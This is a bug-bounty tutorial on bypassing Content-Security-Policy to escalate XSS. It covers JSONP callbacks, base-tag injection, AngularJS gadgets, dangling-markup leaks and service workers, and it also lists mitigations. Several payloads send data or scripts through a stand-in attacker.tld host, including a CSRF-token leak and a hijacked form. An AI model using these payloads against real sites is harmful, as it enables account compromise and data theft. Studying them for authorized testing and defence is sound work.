Advanced levelFree

CSP Bypass — JSONP, base-uri, AngularJS gadgets, dangling markup

Content-Security-Policy broken with strict-dynamic + JSONP, missing base-uri, AngularJS sandbox escapes, JSON hijacking. How to escalate XSS when the CSP theoretically blocks it.

Gorka El BochiMay 9, 202613 min

Quick answer

CSP (Content-Security-Policy) is the main XSS mitigation in 2026. But a "present" CSP doesn't equal a "secure" one: it may allow JSONP endpoints, lack base-uri, have AngularJS or frameworks with gadgets, trusted domains with file upload, or unsafe-inline in a fallback. When there's XSS but the CSP "blocks it," looking for specific bypasses usually turns a Self-XSS into a full Stored XSS.


Anatomy of a CSP

http
Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.target.tld 'nonce-abc123';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data:;
  connect-src 'self' https://api.target.tld;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';
  report-uri /csp-report;

Each directive can have its own bypass.


Bypass 1 — JSONP in script-src

The CSP allows script-src https://googleapis.com. Google APIs has JSONP endpoints that execute arbitrary JS via a callback param:

html
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)//"></script>

The response is JSON wrapped in the callback:

javascript
alert(1)//(...response...)

alert(1) executes. The CSP passes because accounts.google.com (a subdomain of googleapis.com on the whitelist) serves the script.

Classic list of JSONP on common allowlists:

  • googleapis.com — multiple Google APIs.
  • cdn.jsdelivr.net with paths to old libs.
  • code.jquery.com (not JSONP but sometimes UI-XSS).
  • Any third-party API with ?callback= or ?jsonp=.

Detection

Look at the CDN domains in script-src. For each one, Google "<domain> JSONP" or <domain> callback param.


Bypass 2 — missing base-uri + nonce

CSP with a nonce:

rust
script-src 'nonce-abc123' 'self';

If you have an XSS that can inject HTML but not scripts (because you don't know the nonce), inject a <base> tag:

html
<base href="//attacker.tld/">

The browser makes ALL of the document's relative resources resolve against attacker.tld. If the page then loads <script src="/main.js">, it now goes to attacker.tld/main.js — the attacker serves arbitrary JS.

Mitigation: base-uri 'self' or base-uri 'none'.


Bypass 3 — AngularJS gadgets

If the page uses AngularJS and the CSP allows script-src 'self' 'unsafe-eval' or only 'self' and AngularJS is on self:

html
<div ng-app ng-csp>
  <input autofocus ng-focus="$event.composedPath()|orderBy:'(z=alert)(1)'">
</div>

AngularJS evaluates expressions in attributes. If it's on the page and the attacker injects HTML with ng-* directives, it executes JS even with a CSP.

The list of gadgets in AngularJS is well-known (HackTricks has all the expression payloads).

Other frameworks

  • Vue.js with unsanitized v-html and a CSP that allows the Vue script's domain.
  • React with dangerouslySetInnerHTML (rare, but it exists).
  • Lodash + transitive helpers.

Bypass 4 — strict-dynamic with XSS controlling existing scripts

arduino
script-src 'nonce-abc' 'strict-dynamic';

strict-dynamic means "ignore the whitelist, scripts loaded by trusted scripts are OK." Bypass: if the XSS lets you inject HTML that an existing script turns into a <script> dynamically, that script inherits trust:

javascript
// Código existente en la app
document.body.innerHTML += userInput;  // si userInput contiene <script>, no carga (innerHTML no ejecuta)

// Pero
const scr = document.createElement('script');
scr.src = userInput;
document.body.appendChild(scr);  // SI ejecuta, hereda nonce/trust

If you find a gadget that turns input into a dynamic script, bypass.


Bypass 5 — Dangling markup injection

If the CSP blocks scripts but not <img> and there's no style-src 'unsafe-inline':

html
<img src="//attacker.tld/?leak=

Without closing the tag, the browser tries to load the src and absorbs EVERYTHING that comes after it as part of the URL until it finds > or ". If the next part of the page has a CSRF token or sensitive data, it travels to the request.

html
<img src="//attacker.tld/?leak=<input name="csrf" value="...">

attacker.tld receives the csrf token via Referer/URL. Partial defacement + token leak without executing JS.

Mitigation: Content-Security-Policy: img-src 'self' or filter <img src> that doesn't end with >.


Bypass 6 — When script-src has a wildcard subdomain

arduino
script-src 'self' *.target.tld

If *.target.tld includes domains where the attacker can host content:

  • A subdomain with file upload (PDFs, user files).
  • A subdomain with the user's own HTML staging (profile pages, blog posts).
  • A subdomain with CSV/XML that the browser can interpret as JS if the MIME type is wrong.
  • Subdomain takeover.

If one of the subdomains serves user-controlled .js files → bypass.


Bypass 7 — JSON hijacking (legacy)

Frameworks that return JSON without anti-CSRF protection:

javascript
[
  {"id":1, "secret": "abc"},
  {"id":2, "secret": "def"}
]

If the endpoint responds with JSON and the browser interprets it as JS (the victim visits attacker.tld which does <script src="https://target.tld/api/data">), the attacker can capture the values via Object/Array prototype overrides in old browsers.

Mitigated in modern browsers but a vector against apps with legacy browsers.


Bypass 8 — Service Workers

If the XSS gives you control over /sw.js (upload a file or injection in the response), you can register a Service Worker that intercepts the origin's fetches:

javascript
self.addEventListener('fetch', e => {
  if (e.request.url.includes('/api/')) {
    e.respondWith(new Response('attacker controlled response'));
  }
});

It persists across page loads. CSP doesn't apply to service workers as such.


Bypass 9 — Form action if form-action is missing

If the CSP doesn't specify form-action, it falls back to default-src or is allowed. Inject:

html
<form action="//attacker.tld" id="f"><input name="x"></form>
<button form="f">Click me</button>

If the victim types in the input and submits → the data goes to the attacker. Bypass of "no inline scripts" via form interaction.


How to report it

For triage to accept it:

  1. A working PoC that executes alert(document.domain) or a measurable leak.
  2. The full CSP proving it's applied.
  3. The full vector: where does the original XSS you're bypassing come from?

Pure CSP bypasses with no underlying XSS are usually N/A or Informational. You need the chain.


Hunting checklist

  • Is there a CSP in the response? Capture the header.
  • Does script-src allow external domains? Look for JSONP on each one.
  • Is base-uri declared? If not, try a dangling base.
  • Is AngularJS / Vue / Lodash on the page and allowed by the CSP?
  • strict-dynamic with XSS that can create scripts dynamically?
  • Does img-src allow any URL? Try a dangling markup leak.
  • Is form-action declared? If not, an external form is possible.
  • Wildcard subdomains that allow upload or XSS staging?

Correct mitigation

  1. Strict CSP: default-src 'none' as a base, add only what's necessary.
  2. script-src 'nonce-RANDOM' 'strict-dynamic'.
  3. base-uri 'none' (a base href is rarely needed).
  4. form-action 'self'.
  5. frame-ancestors 'none' (kills clickjacking).
  6. No unsafe-inline or unsafe-eval except well-justified legacy.
  7. report-uri active to detect bypass attempts in production.
  8. Review whitelisted subdomains — can they host user-controlled content?

Practice CSP bypasses with JSONP, dangling markup, AngularJS gadgets and base-uri injection: CSP bypass labs.

Free · no account

The checklist I run on every new target

47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.

Unsubscribe in one click, from any email.

Practice this in a lab

Xss

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

2,482

hunters training

62

labs from real hacks

1,629

completions

$14,790

paid out for these bugs

11 flags captured this week·Real hacks from HackerOne · YesWeHack · Bugcrowd·No commitment·Free Academy